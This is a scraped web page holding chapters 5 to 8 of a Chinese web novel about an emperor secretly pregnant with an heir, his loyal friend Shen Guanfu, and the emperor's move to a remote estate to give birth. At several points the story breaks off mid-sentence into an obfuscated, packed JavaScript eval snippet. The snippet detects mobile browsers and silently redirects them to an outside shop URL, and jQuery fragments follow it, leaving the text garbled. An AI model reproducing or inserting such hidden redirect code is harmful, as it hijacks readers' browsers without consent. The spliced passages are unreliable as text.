“这如同牢笼一般的皇宫困住了母后的一辈子,现在又想困住你一辈子,母后不忍心,可是母后没用,没有办法帮到阿恒,怪母后想的太简单,拖累了阿恒。” “看着阿梧死气沉沉的样子,母后无时无刻不在后悔。” “虽然一开始母后确实是不知道怎么才能帮到你,但是看到现在的阿恒,母后知道阿恒没有放弃,心里头就已经没有了一直以来的顾虑。” “他是个好孩子,上辈子很苦,阿恒好好待他,这辈子一定要幸福……” 轻柔的声音越来越远。 “不要……!” 被封闭着,再次经历离别的感觉并不好受,魏帝紧闭眼睛,喃喃自语着,他伸出手想抓住什么,却怎么都抓不到想抓住的东西。 能睁开眼睛的时候,天已经亮了,他感受到了脸颊上凉凉的眼泪,手指沾上泪珠,他看着那晶莹剔透的泪珠,无声的叹了口气后,用手臂遮住了眼睛。 “母后,你的话怎么还是这么多呢?” 他感慨着。 难过是首当其冲的情绪,接着就是释然。 不论前路究竟会有什么在等着他,他既然选择把孩子生下来,那么照顾孩子长大就是他的责任,而且他萧恒生下的孩子就理应在宠爱长大,做这个世上最幸福的孩子! 这是魏帝心甘情愿的决定。 5. 第 5 章 益州贪污官员们被夷三族的消息以最快的速度传遍京城。 小茶楼里,相熟的寒门学子们聚在一起压低声音在讨论此事。 “陛下是不是太过严苛?” 有年轻学子率先开口,面露不忍。 同伴轻轻摇头,明显不赞同“我倒是觉得陛下不严苛,甚至可以说的上仁慈。” 年轻学子欣然接受反驳:“林兄有何见解?” 同伴没有立即回答,而是提出一个问题:“你说益州因雪灾死的百姓多吗?” 年轻学子点头,关于益州百姓死伤惨重的消息可以说在京城无人不知。 “若不是那些贪官,益州百姓本可以不用死这么多的。” 同伴眼神锐利,接着问出一个有针对性的问题:“我想知道在董兄心里究竟是贪污的官员们重要还是受罪的百姓们重要?” 年轻学子面露不解“林兄为何如此问?” 同伴站起来,从下俯视着这位年轻学子:“自然是因为董兄认为贪污的官员们夷三族过于严苛让我觉得在董兄心里贪污的官员们更重要,不然怎么会对受苦受难的百姓们视而不见,却选择同情贪污的官员?” 道不同不相为谋,林言本来以为自己与董兄的观念虽然是有一些不同,但是终究没有什么太大的矛盾,倒是可以相处。 可是不曾想,在这一次茶馆里,他们的观念竟然会这么的不同,他已经无法与董兄相处下去,与其委曲求全,林言觉得倒不如趁早断干净。 年轻学子愣住,没有想到林言竟然会这样说自己! 恼羞成怒瞪着林言,他并不觉得自己有什么错,认为是林言曲解了自己的本意。 “林兄,我敬你是同窗,不想与你发生矛盾,你所说并非我的本意,请坐下,我同你好好解释一下误会。” 另外几个同窗一时之间没有反应过来怎么才刚坐下,林兄与董兄就因为意见不合而想要分道扬镳。 待反应过来,就是林兄起身要离开,他们不得不起身打圆场。 “林兄,董兄性子单纯,你别跟他一般见识。” “董兄没有经历什么肮脏事,想到就会简单些,他没有什么坏心眼的,而且你好好跟他说,有道理的话,他会改。” “好歹给一次机会,俗话说事不过三,他要是第三次还执迷不悟,林兄再不理他就是。” 年轻学子第一次体会到祸从口出,告诉自己日后一定要想好再开口,不然就算下次不会惹恼林兄,也会惹到旁人。 他的手紧紧攥着,目光盯着林兄,不得不承认他自己确实太过于单纯,只看到了表面,觉得魏帝夷三族会杀太多人,但是却忽略了原本在受苦受难的百姓们,因为没有等到救灾银子而死伤惨重。 要是按一命赔一命来算,夷三族死的那些人根本就赔不完因雪灾死掉的百姓零头。 “抱歉,林兄,确实是我想的太过当然,但是之后我会努力谨言慎行的。” 林言瞧着面前的几人,轻轻的叹了口气。 事到如今,他们在给自己台阶下,自己是不下也不行。 他就算想跟他们分道扬镳,也不是现在可以实现的,他毕竟只是一个无权无势的寒门子弟,在书院里若是没有这几个一起行动的同窗,他一个人独来独往的话,是很容易受到那些权贵子弟的欺负,这样的案例他不是没见过。 冲动容易,事后想要弥补却很难。 林言还是为生活低下了头“此事也有我的过错,太过冲动,不愿意给董兄解释的机会。” 其中一人用茶壶给每个人都倒满。 “不要再讨论这些离我们遥远的事,我们应该更专注于眼前,书院小考将至,垫底的话,那些权贵子弟肯定会笑话我们,我们先好好想想对策,等度过小考,在谈论别的如何?” 他举起茶杯,一口气说了许多的话。 林言率先举起茶杯:“我赞同。” 其他人紧随其后,纷纷举起了茶杯,随后一同一饮而尽。 ———— 到了年后,皇宫里的积雪在慢慢的融化,到处都是湿漉漉的。 殿内,魏帝扶额,一脸无奈道:“你怎的还将你尚在襁褓中的孩子带进皇宫来了?” 他头疼的看着抱着婴孩一脸慈父模样的沈观复,着实没有想到沈观复会给自己这么大一个惊喜。 “这是臣的第一个孩子,就想让陛下看看,沾沾福气还有喜悦,若是陛下能够给这个孩子取个名字,自然是最好的。” “当然,若是陛下不愿意,也是没有关系的,只是臣会有些失望。” 襁褓里的孩子睡得很熟,一路过来都没被吵醒,一张小脸白里透红,相貌瞧着与沈观复长得很相似,特别是五官,简直就是照着沈观复雕刻出来的。 魏帝见过沈观复的妻子,是个温柔且貌美的女子,与沈观复很相配。 “陛下要不要抱抱他?” 沈观复问是这样问,但是实际上只给了魏帝一个选择,孩子已经被沈观复递到魏帝面前。 瞧着面前被裹的严实的孩子,魏帝顿了顿。 抱孩子吗? 他可以吗? 他还没有亲手抱过这么小的孩子,想到这,他不动声色的瞥了一眼自己的腹部。 魏帝穿的衣服很遮肉,再且他也没长胖什么,只是肚子大了几圈,而四肢是没什么变化的,厚重的衣服遮住肚子,就算沈观复是个细致入微的人,也轻易看不出来魏帝怀孕了。 就算看出魏帝肚子变大,大概率也不会将魏帝往怀孕的方向引,毕竟在沈观复眼里魏帝是个男子,他可没见过哪个男子可以怀孕生子,魏帝肚子变大他能想到的原因只有两个,不是胖了,就是生病,绝对不可能是怀孕! 襁褓入了怀,魏帝的力道很轻,襁褓对他来说没有什么重量,他的身体有些僵硬。 这么小的孩子,他真的很怕自己不注意没有抱稳把孩子给摔了。 白嫩嫩的小脸有着长长的睫毛,眼睛闭着还可以看到露出一截的黑睫毛。 他伸出手指想触碰一下那长长的睫毛,就见那双闭着的眼睛慢慢的打开,大眼睛忽闪忽闪的。 孩子见到陌生人没有哭,只是用那双亮晶晶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846698|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 眼睛注视着魏帝。 “竟然现在就醒了。” 沈观复看着自己的儿子睁开眼睛,感慨道,语气中带着一丝的惊讶。 他本来以为儿子还要再睡一会的,往常喝完奶都要睡两三个时辰,现在才睡了一个时辰的样子,而且醒来的时候没有哼哼唧唧的,也没有哭。 这可真是奇怪,儿子平常睡醒都会扯着嗓音大哭,就算不哭,也是会哼哼唧唧个不停,像猪圈里的小猪仔。 每次娘子不在的时候,他都会叫儿子小猪,但是娘子在的时候他不会这样喊,毕竟自己娘子的脾气做相公的还是一清二楚。 他要是敢当着娘子的面这样喊,那么晚上他就睡不了床。 皇后娘娘说过爱娘子,尊重娘子的男子可以升官发财,沈观复觉得挺有道理,只有家庭和睦,一家子齐心协力才能让生活过得越来越好。 在大理寺为官的这些年,他见过许多对娘子不好的,最后都遭到了应有的报应,报应不是不来,只是时候未到。 “还给你。” 魏帝抱够了,把孩子还给了沈观复。 他不能够抱别的孩子太久,他有自己的孩子,他的怀抱还是更想留给自己的孩子。 可是不曾想,孩子刚到沈观复的怀里就开始嚎啕大哭,哄了又哄,哭声没见一点降低的。 沈观复:“………” 他看向魏帝,意思很明显。 魏帝:“………” “下不为例。” 孩子又回到了魏帝的怀里,魏帝学着沈观复轻拍着孩子的屁股,没一会儿哭声就慢慢的降了下来。 孩子不哭了,魏帝又将孩子还了回去,特意叮嘱:“别让他看到你的脸。” 沈观复窝窝囊囊的听从了叮嘱,没有让儿子看到自己的脸,这招果然有效,没有看到脸,孩子就没有再哭,抽抽噎噎了一会儿,应该是哭累了,又睡了过去。 他把孩子交给一旁伺候的奴才,两个人面对面坐下。 点心摆上桌,是沈观复喜欢吃的云片糕。 “找朕究竟为何事?” 魏帝才不相信沈观复进来是找自己给孩子取名字的鬼话。 “臣在外面抓到一个探子,陛下要不要猜一下?” 魏帝垂眸“不用猜,朕知道是谁的。” 探子是他故意放出去的,没想到这么快就被沈观复给逮住了,还真的是没用,但幸好他想让对方传递出去的消息已经成功传递,倒也不算是白费一番功夫。 沈观复了然的点了点头,他们不愧是一起长大的,话不用说的太明白就已经明白了意思。 “原来是陛下放出去的,不知臣有没有破坏陛下的计划?” 魏帝伸出手把云片糕往沈观复的方向推了推“没有,就算有也没关系,还有后手,子安不必担心。” 讲实话,沈观复担心是不怎么担心的,他知道萧恒要做什么事的时候基本不会把几个鸡蛋放在一个篮子里,而是会分散开放着。 一个又一个后手层出不穷,就算是十分熟悉萧恒的他都猜不到萧恒每次会准备多少后手。 6. 第 6 章 “没想到,陛下还记得臣的喜好。” 沈观复说到这,眼神落寞了几分,说起云片糕,他最喜欢吃的还是皇后娘娘做的,只是自从皇后娘娘去世,他就再没有吃过,甚是想念。 “为何记不得?朕记得你最喜欢母后做的云片糕,子安小时候每次进皇宫,母后都要做给你吃。”魏帝握着茶杯的手不自觉的握紧,扯出一个苦涩的笑。 “皇后娘娘是个顶好的人,小时候臣的娘去世,爹又娶了后娘,偏那后娘不是个好的。” “臣在府邸受尽苦楚,还是皇后娘娘记挂着我那去世的娘还有府中的臣,派了嬷嬷来府邸看臣,由于嬷嬷来的突然,臣的爹和后娘没有做好准备,臣在府中的乞丐模样让嬷嬷看到告诉了娘娘,娘娘得知臣在府中过的不好,就派人敲打了爹与后娘,自此生活才慢慢好起来。” “其实那时候的臣很满意了,在臣的心里能吃饱穿暖就已是十分的不错,但是娘娘觉得还不够,怕一时不察,又让臣被爹与后娘欺负,就特地派人每月初一接臣去皇宫说说话。” “皇后娘娘对臣有大恩,臣永远铭记于心。” “当然,还有陛下,陛下与娘娘是一脉相承的心善,那时候臣没有一个好友,也没有一个玩伴,只有陛下愿意与臣玩。” “陛下与娘娘的好臣都会一直记得,也会让臣的后代们也记着。” 这个世上有人知恩图报,有人当白眼狼,母后帮过许多人,在落难的时候,其中的大部分人都选择回踩母后,只有少部分人才会真想着报恩。 当年魏帝能逃出去有很大一部分助力是那些少部分愿意报恩的人给的,而他最大的一次死机则是那些大部分落井下石的人给予他的,因此他常常感慨着人性的恶与善,觉得甚是复杂。 “朕都知道,当年朕就是瞧着你可怜才带你玩。” 魏帝说到这顿了顿。 “不过,别让后辈们背负太多东西,我们长辈们的事就在我们这一辈结束,别牵扯进下一辈。” “还有记或不记得朕都不在乎,相信母后也不会在乎,母后帮助人从来没有想过回报。” “对了,下一次进宫,别再把你儿子带过来了,这么小的孩子,有个你这样的爹,也不知道是好还是坏。” 他对此是真的很无奈,本来以为沈观复是大理寺卿,还已成婚有了孩子,性子相处起来感觉比以前沉稳了许多,怎么都不能够再像以前一样不着调,结果合着还是以前的性子,觉得俗话说的本性难移还是很有道理的。 沈观复吃了一口云片糕,保证道:“绝对没有下次。” 这次他能够把孩子带进皇宫,还是磨了娘子许久的结果,而且还保证了绝对没有下次,他是个重诺的人,答应的事就一定要办到,他的娘子清楚他的性格,得到保证后就放他跟孩子离开了。 “嗯。” 魏帝应了一声,闲聊过后便是正事,他的手指轻敲桌子:“你抓到的那人对朕已经没有什么用处,只是不知在子安你那里有没有什么旁的用?若是有的话,子安可自行留下,要是没有,就直接杀了。” 沈观复:“他对臣也没什么用,等臣出宫就将它处理掉。” ……… 一份云片糕的份量不多,沈观复感觉自己没有吃多少就吃完了。 正要离开皇宫的时候,沈观复抱着他的儿子转过身看着魏帝,是疑惑的表情。 “陛下,你最近是不是长胖了许多?臣瞧着你身形比之前大了整整一圈,臣知道陛下冬天不喜出去走动,但是为了龙体找想,还是在天气好的时候出去走动走动。” 他与魏帝一同长大,小时候每年的冬天他去找魏帝玩时,对方基本都是窝在寝殿里面,不论他怎么劝都不跟他一起出去玩,还是皇后娘娘下了命令让魏帝出去,不然就直接派侍卫将人绑了直接丢出寝殿,魏帝听到后,这才愿意跟他一起出去玩。 沈观复府中的府医讲过人不能太胖,太胖身体的负担会加重,很有可能会减寿,他想陛下可以活得长长久久,最好能够长命百岁。 魏帝:“………” 自己这可不叫长胖,叫怀孕! 可是他又不能够跟沈观复解释说自己只是怀孕了,身形才会比之前大了整整一圈。 他很想反驳子安,可是理智遏制住了他的想法,他的嘴无奈的动了一下,没有发出声音,伸出手挥了挥,意思很明显,想让对方赶紧消失在自己的眼前。 沈观复见魏帝恼了,自然不敢再留,他又不傻,他是想劝魏帝多出去走动,可他同样不想挨罚,人要见好就收,得寸进尺通常得不到好。 桌子上的水已经放凉,于年换了一壶,给魏帝重新倒了一杯。 “他竟然说我……胖,而且还是胖了一大圈!” 魏帝手放到自己的腹部,深呼吸才将心口的那口气顺下去。 “沈大人是关心陛下,他哪里知道陛下怀孕,要是知道了,肯定不会再这样说。” 于年眉眼弯弯,笑得慈祥。 魏帝眉心微簇:“朕知道,只是朕现在真的很胖吗?” 他受不了别人说他胖,更喜欢别人夸赞他的容貌。 于年顺毛:“陛下才不胖,沈大人应该是看错了,奴才瞧着陛下一点都不胖。” 魏帝点了点头,簇起的眉心松开,内心很满意于年的回答,但是面上却表现的十分平静。 ———— 沈府是沈观复的府邸,这是他自己的房子,因大理寺亲的功绩被魏帝赏的。 他早已与原本的沈府没有关系了,当初魏帝落难,他执意要帮魏帝,那娶了后娘的爹就已经将他逐出了沈家,族谱上的名字都已经被划掉。 对此,沈观复心里头除了觉得少了个负担外,其他旁的情绪什么都没有。 后面魏帝成功杀回来,登上了皇位,他那爹跟后娘又眼巴巴的过来讨好他。 真是可笑。 他沈观复难道是个眼皮子浅的人吗? 一点小恩小惠就可以让他不记仇,选择原谅? 或许年幼时他曾渴望过父亲,可是这份渴望早就在一日复一日的忍饥挨饿中消耗殆尽。 他看着原本的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846699|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 沈府衰败,最后再搬离了京城,沈观复觉得他们应该庆幸自己没有下手,要是他选择了下手,他们能不能活着离开京城都是另说。 沈观复选择不动手是不想脏了自己的手,当年断了亲,就再无关系,把母亲的东西全部带走后,他就不想再跟他们扯上丝毫的关系,只要过好自己的生活就好了。 如今的他很幸福,能与他喜爱的娘子拥有一个属于他们的家,而且还有了子嗣。 只是好像唯一算不得圆满的就是皇宫里的萧恒,他是放下了过去,可是萧恒还没有,似乎只要萧恒还是皇帝,这份过去就无法放下。 沈观复说不愁肯定是假的,他想了许久觉得萧恒改变一下生活,就像他一样,是不是就有可能放下? 他不知道,但是他愿意尝试一下,所以他把他的儿子带到皇宫里给萧恒看,他的儿子像他,是个好看的,虽不晓得这样做会不会让萧恒生出成婚生子的心思,可是他想试一试,毕竟万一成了呢?! “年哥儿是不是哭过?” 沈观复的娘子唤杨知予,长相偏温婉大气,从沈观复的手里接过孩子,就看到儿子眼角的泪痕。 被打断思绪的沈观复“是哭过一回,在陛下怀里醒来,看着陛下没有哭,可是到了我的怀里,瞧着他爹我的脸,哭的可大声了。” 讲到这,他就觉得自己委屈,声音中带着哀怨,头轻轻靠着自家娘子的肩膀。 杨知予:“………” “你都这么大人了还跟孩子计较,而且你还是孩子他爹。” 沈观复不管:“这小崽子嫌弃爹,爹竟然还不能够委屈了吗?娘子讲的好没道理!” 杨知予深吸了一口气,她知道沈观复自有一套理念,通常她是说不过沈观复的,但是现在不是通常的情况。 “你还好意思说年哥儿嫌弃你,还不是你与他相处得少,年哥儿认生。” 沈观复刚想开口说他在陛下怀里可没有哭,却没有想到被他的娘子抢先了。 “不要说什么年哥儿在陛下怀里没有哭,那是年哥儿刚醒,还没有反应过来,你难道刚刚醒来的时候脑子是清楚的?” 杨知予觉得自己性子是真的好,连这种不怎么需要用脑子想的问题都能同沈观复讲。 沈观复恍然大悟,接着脸上露出自责的表情:“是我误会了。” “大理寺太过忙碌,我确实缺少了与年哥儿相处的时间,还有陪伴娘子的时间也少了许多,这是我的过错,我会好好想办法……” 杨知予摇头,她的本意并不是想让沈观复为难。 她瞧着沈观复的脸,认真道:“相公,你是大理寺卿,为陛下做事,忙碌是肯定的,比起让你在家里陪着我跟年哥儿,我还是更希望你能够多为陛下做些事。” “你虽与陛下是有情,可是你想往上升,让咱们家变好,让我与年哥儿有依靠,主要靠的是你的能力,陛下可以帮你一时,却不能够帮你一世。” “当然,我说这么多并没有想让相公完全不陪我们,只是想让你更专注于大理寺的活还有陛下的吩咐。” 7. 第 7 章 人心易变,陛下是个待相公很好的人不错,可是他们不能赌陛下永远会待相公好。 大多数到了晚年的皇帝都疑心重,赐死年轻时陪养打天下的臣子占多数。 杨知予不想沈府的结局会是如此,她如今是沈府的夫人,她的孩子已经出生,相公若是加官进爵,孩子会继承爵位,就算没有爵位,孩子最后也会是沈府的继承人。 沈府若是在此期间出了事,那么她就什么都没有了。 讲实话,她确实是没有什么安全感。 沈观复如何能不懂她的意思,他将安哥儿从杨知予怀里抱过来放在床上,牵起她的手道:“娘子,你不必担心太多的。” “我还在,这沈府就不会倒,我与陛下情同手足,未来或许会改变,但是现在是不会的,而且就算未来改变了,难道那个时候我不会谨小慎微些吗?只要我们老老实实的,陛下是不会动沈府的。” “如今外边有你相公我顶着,就别去操心这些,我们过好我们的日子。” 杨知予感受着手上的温度,心里头松了一口气,她其实也不知为何自己会想这么多,好像是自从生了孩子之后就开始多想,明明生孩子前还有在闺阁的时候她从未如此过。 “好。” 她轻轻的应下。 随后两人相拥在一起。 ……… 立春过后,天气回暖。 魏帝的肚子已经有七个月的样子,若是出现在人前,瞒是瞒不住了,只能离开皇宫去早已准备好的生产地,他在离开前瞧着于年道:“交给你了。” 他这些年惜命,便备了与他相貌相似的替身,只用添些妆就可以做到以假乱真。 于年:“陛下放心。” 宫里的一切魏帝都已经安排好,特别是沈观复,他已经将人给派出去,没有四,五个月回不来。 他别的不担心,担心的只有被沈观复察觉到不对,所以他只用解决掉沈观复,整个计划大概率就不会出现问题。 安排生产的地方在京城外,一个魏帝早已备好的大庄子,里面伺候的奴才基本都是哑巴,只有哑巴才不会乱说,而且他们都不识字,想写出来也得识字。 马车外观普通,秘密出行自然是不能引人注意。 魏帝不追求奢华,他更喜欢舒适,所以马车里一切都以让他觉得舒适为主。 他坐好,手放在自己的腹部上,刚放上去就被踢了一脚,手摸到一个小小的凸起,他顿了顿,接着又是几脚,小东西收回脚后还会换个位置踢。 不疼,也不难受。 只是心里头的情绪很怪,他分辨不出来。 孩子很活泼,他觉得活泼是好事,证明着孩子健康。 “是迫不及待想出来了吗?” “别急,还尚早。” 魏帝轻声喃喃着,不知是不是他的话起了作用,肚子里的小东西没有再踢。 魏帝肚子现在才七个月,孩子太早出生容易早逝,太医有说过,他一直记着。 他的孩子可不能早逝,要平平安安才行,他的要求不多,只想孩子能一生顺遂的长大,至于才能什么的,做大做强他不奢望,只要能守好魏国,旁的他都不在乎,对此事他看的并不是很重。 马车动了起来,往宫外驶去,出了宫门,穿梭在街道内,再出了城门,朝着目的地前进。 庄子在一处小山上,位置偏僻,四周分散着带刀的侍卫,侍卫们穿着朴素,腰间均配着一块不起眼的木牌。 春天是万物复苏的季节,林中树枝上抽出了嫩芽,地上的小草冒出头来,鸟兽渐渐多了起来,蛇虫鼠蚁已苏醒。 庄子里的奴仆们提前一天就已得知主子会来,他们打扫完庄子里的卫生就到处开始撒驱蛇虫的药,药刚撒的时候味道会很大,管事的说不能让主子闻到。 药撒完散掉味道便是熏驱蛇虫的香料,香料都是精心配制,对驱蛇虫有着显著的作用,而且闻起来也不伤身,怀了孕的妇人也是可以闻的。 他们知道来庄子的主子是个怀了孕的,便先入为主的觉得对方是个妇人。 虽然疑惑这妇人为何要跑到这样的一个偏僻地方生孩子,但是他们知道有些事情他们不该知道的,最好还是别知道,毕竟主子选他们这些哑巴在这伺候就是不想他们多嘴,而且他们的命全在主子的一念之间。 魏帝没有数时辰,闭目养神了许久,待马车停下来时才缓缓睁开眼睛。 他穿上一件宽大的斗篷,斗篷将他的身形全部的遮住,再将帽子戴上,他的相貌也被很好的遮住了。 庄子很安静,除了鸟叫声还有风吹过树叶的沙沙声,旁的声音他都没怎么听到。 管事早早就在庄子门口候着,见到马车下来的主子,他没有多看,行完礼后,恭敬的低下头。 “带路。” 马车的颠簸在所难免,肚子里的小东西动的厉害,魏帝有些难受,肚子里的小东西也难受,他皱着眉,想回房休息。 这七个月他都好好的养着身体,期间从未像现在这样颠簸过,孕妇与孩子是一体,孕妇难受,孩子也难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846700|211744||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 受。 腹部皮肉翻滚的感觉让他的脸色苍白了几分,来到房中,魏帝坐下,将帽子取了下来,随行的李太医见魏帝苍白的脸,吓得赶紧上前给魏帝把脉。 李太医是魏帝的心腹,母后救过的人之一,是个坚守医道的老头,还知恩图报,魏帝还未登上皇位前帮过魏帝。 “陛下动了胎气,臣让清水去煎一碗安胎药,陛下喝几副安胎药,再好好养着身体,别再颠簸,最好头三日别下床,如此应该就没什么事了。” 魏帝难受的紧,可还是耐着性子应了一声:“嗯。” 他脱下身上的斗篷,就直接躺到床上,身体躺平,肚子里的小家伙似乎是觉得舒服了一些,没有像刚才那样闹腾。 孩子不闹腾了,魏帝就没有那么难受了,只是感觉肚子有些发疼,一阵一阵的,在他可以忍受的范围。 待安胎药端上来,一股苦味钻入鼻腔,只是闻着他就知道很苦,但是没有办法,他端过来清水手里的安胎药用勺子,一勺一勺的吹凉后才喝下去,喝到一半的时候,他就感觉肚子不怎么疼了,还有小家伙也安静了下来。 一碗下肚,魏帝脸上的苍白渐渐褪去,李太医来到床旁,又把起脉来。 “陛下已经稳定下来,再巩固一下就没什么事了。” 他把完脉后摸了摸自己的白胡子。 当年李太医与皇后娘娘关系不错,在皇后娘娘还没有入宫之前他就在皇宫当太医,娘娘生魏帝的时候他在场。 可以说他是看着魏帝出生再到长大的,他常感慨着时间过得太快,一眨眼的功夫当年的幼婴此时都已长大成人,还快要生产…… 他是真不知道魏帝竟然还可以生孩子,当初魏帝开始孕吐,他被唤过去诊脉时,诊出滑脉,如盘走珠时,确实是有被吓到。 他第一时间没有怀疑是不是魏帝真怀孕了,而是在怀疑他自己是不是真的年纪大了,所以连这种脉都可以诊错。 李太医本想让别的太医一同来给陛下瞧瞧,可是却被陛下给拒绝,他只能反复把脉,但是结果始终都是滑脉,如盘走珠。 “陛…陛下,臣不管如何把脉,陛下的脉象都是滑脉,脉象流利……” 他再如何不愿意去怀疑,都必须要承认他看着长大的孩子确实是怀了身孕,而且怀的还不知是哪个男人的孩子! 他实在不知道在自己死后该如何向皇后娘娘交代,明明答应了皇后娘娘要好好照顾陛下! 李太医扑腾一下跪了下去,边哭边喊:“陛下,臣对不起皇后娘娘啊!” 8. 第 8 章 自己的身体自己清楚,魏帝就是确认了怀孕才回的皇宫,只是回来后还想再确认一下就让于年将李太医带过来。 结果不曾想他怀孕的这事似乎对李太医打击挺大,一口一个对不起母后,他瞧着挺有趣,但是他又不能当着李太医的面笑出来,李太医是个好人,好人在这个世上不多,所以他待李太医还是有点耐心的。 “陛下!究竟是何人肯如此大逆不道……?!” 李太医老泪纵横,他是真悔,哭的动情。 “停。” 魏帝打断了李太医,一切都是他自己愿意,若不是他自己愿意,哪会有人可以强迫的了他? “朕自愿的,他们不是要朕选一个可以继续朕皇位的?” “朕选择自己生,他从朕的肚子里出来,有着朕与母后的血脉,是除了母后外与朕最亲近的人,这有何不妥吗?” 他的面上平静,明明在说什么不得了的东西,可是脸上没有什么波澜,看的李太医还觉得是不是自己听错了,毕竟老头子经常耳朵出现问题。 等了一会,李太医才反应过来自己没有听错,耳朵也没有出问题。 他擦掉脸上的眼泪,其实若是陛下自愿的,他倒觉得没有什么大不了,他只是担心陛下受欺负,不管外界如何说陛下,在他的心里,陛下永远都是那个会同他打趣,关心他的好孩子。 “若是陛下自愿,那么臣对此就没有什么好说的,臣会尽全力让陛下平平安安的生下孩子!” 他就是拼了这把老骨头,也会让魏帝平安生下孩子,不光是因为对皇后娘娘的承诺,还有就是陛下是他看着长大的孩子,不管如何他都是不能懈怠的。 魏帝应下,他等的就是这句。 “嗯,朕相信你。” ……… 魏帝服下安胎药后没有多久就开始昏昏欲睡,他刚闭上眼睛,随后意识就往下沉,陷入了梦乡。 他在迷雾里走着,不知道自己是谁,也不知道自己来此处是想干嘛,他只知道往前走,别停。 白雾浓郁,周围的一切他都瞧不清楚。 他不知疲倦,浑浑噩噩。 直到一只小手牵住了他的手指,温热的,软乎乎的,让他有些措不及防。 魏帝停下,低头看到了一个小面团子,大概只有一岁的样子,瞧着白白胖胖,一张小脸肉嘟嘟,笑起来时露出刚长出来的乳牙,嘴唇的形状似桃子。 很可爱,像他的娃,他想生一个这样的娃。 “父…父皇!” 小面团子大喊一声,声音有些漏风,但是可以让人听清楚小面团子在喊什么。 魏帝笑了笑,应下“诶,是父皇。” 他蹲下将小面团子抱起,用脸蹭了蹭小面团子柔软的脸颊,心里头很满足。 这就是他的梦中情娃! * 太阳光穿过窗户落在屋内,正好有一束落在魏帝的脸上,他的睫毛颤抖了一下,眼睛缓缓睁开,这一瞬间他的眼睛是失神的,过了一会儿才聚焦。 他用一只手托着自己的肚子坐起来,原本凌厉的容貌在此刻添上了几分脆弱,肚子已经没有什么明确的痛感,但是隐隐有一种下坠感,这不是什么好的感觉。 太阳穴有些刺痛,他用修长的手揉了揉,脑子不自觉的回忆起那个梦,他好像梦到了一个小面团子。 小面团子的长相他无法进行回忆,可是小面团子抱起来的时候让他感到很温暖,就好像一切的痛苦都从他的身体里被剥离开来阻挡在一处屏幕外。 还有那漏风的“父皇”。 只是想想,他的嘴角就忍不住上挑。 魏帝用温柔的目光注视着自己的肚子,他的预感告诉他梦里的小面团子就是肚子里的小东西,他对此深信不疑。 “一定要平平安安的。” 平平安安就是福,他的孩子会是这个魏国福气最大的孩子,就算现在不是,他也会使办法让自己的孩子成为福气最大的。 他在床上躺了差不多三天,连喝了三天的安胎药,确定已经稳定下来之后,他才从床上起来。 外面的气温大幅度回暖,魏帝就算再怕冷,这个时候也不会穿厚衣服,除非他想热出毛病来。 没有厚衣服的遮挡,他的大肚子很明显,在他自己的庄子里,他不用像在皇宫里一样顾虑太多。 怀孕确实很麻烦,但是他并不觉得后悔,这是他自己的选择,还有就是他喜欢极了自己肚子里的小东西,只要喜欢还在,不论多麻烦,不论多受累,他都不会觉得后悔。 感情就是这样,喜欢的时候恨不得把什么都掏出来给你,不喜欢的时候最恶毒的话都能说出来。 魏帝并不觉得未来自己会讨厌自己的孩子,虽然都说人心易变,但是他会在自己变心之前将所有的一切都给肚子里的小东西安排好,绝对不会让变心的自己伤害到小东西。 “陛下瞧着脸色好了不少!” 清水端着安胎药过来,半大的少年脸上还带着稚气,李太医把他养的很好,脸上白净还带着肉,身材修长,处于正在抽条的时期。 魏帝在院子里的石桌坐下,看着面前热气腾腾的安胎药,打算等凉一会再喝。 “嗯,此处不用再喊我陛下,喊我老爷。” 称呼改一下,待回宫再恢复。 “是,陛…老爷。” 清水差点又脱口而出陛下,但好歹是改过来了,挠了挠头,有些不好意思。 他原是乞儿,被李太医捡到后,发现学医天赋还不错就收为了徒弟。 李太医捡到清水的时候,这小子才两三岁,魏帝从某种意义上说,也是看着这小子长大的,从小小的一个脏兮兮煤炭变成了现在的半大少年。 “他呢?” 魏帝问。 清水一时之间没有反应过来魏帝问的是谁,但是下一刻就想到了,陛下大概率问的是他师父李太医。 “师父他老人家闲不住,在清点庄子里的药材。” 还是新脑子好用。 魏帝端起石桌上的安胎药,哪能不明白李太医是在为他生产做准备。 女子生产都凶险,更何况他一个男子。 “有缺少的让他拿这块令牌让庄子上的管事补上。” 他喝了一口安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 